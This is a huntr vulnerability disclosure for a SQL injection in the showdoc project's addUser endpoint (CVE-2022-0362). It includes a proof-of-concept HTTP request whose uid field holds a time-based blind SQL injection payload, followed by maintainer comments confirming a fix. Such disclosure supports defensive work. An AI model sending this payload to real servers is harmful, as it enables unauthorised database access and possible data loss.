huntr

SQL Injection in star7th/showdoc

1

✓ Valid Reported on Jan 25th 2022

Description

The `uid` parameter does not sanitise and escape the option parameter before using it in a SQL statement, which could lead to SQL injection.

Proof of Concept

Time based:

```
POST /server/index.php?s=/api/adminUser/addUser HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/plain, */*
Cookie: PHPSESSID=c35a50119eee7d09650616215ccc2693; think_language=en-US;
Accept-Encoding: gzip,deflate
Content-Length: 106
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (
Host: host.com
Connection: Keep-alive

name=laladee&uid=10'+and+1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/
```

Impact

A successful attack may result the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, write file to server lead to Remote code Execute, or write script to extract data

Chat with us

CVE
CVE-2022-0362
(Published)

(Published)

Vulnerability Type
CWE-89: SQL Injection

Severity
Medium (6.7)

Visibility
Public

Status
Fixed

Found by

laladee
@laladee
unranked

Fixed by

star7th
@star7th
unranked

This report was seen 599 times.

We are processing your report and will contact the **star7th/showdoc** team within 24 hours.
10 months ago

laladee submitted a patch 10 months ago

star7th validated this vulnerability 10 months ago

laladee has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

star7th 10 months ago Maintainer

I've fixed it. You can check it
https://github.com/star7th/showdoc/commit/2b34e267e4186125f99bfa420140634ad45801fb

Chat with us

laladee 10 months ago Researcher

Yes, I've submitted a patch above :) however the Issue has been resolved.

star7th marked this as fixed in 2.10.3 with commit 2b34e2 10 months ago

star7th has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

star7th 10 months ago Maintainer

I found that there was a patch, but I didn't notice it. I fixed all the problems that others fed back before, so I habitually didn't see the patch. Pay attention next time

Sign in to join this conversation

Chat with us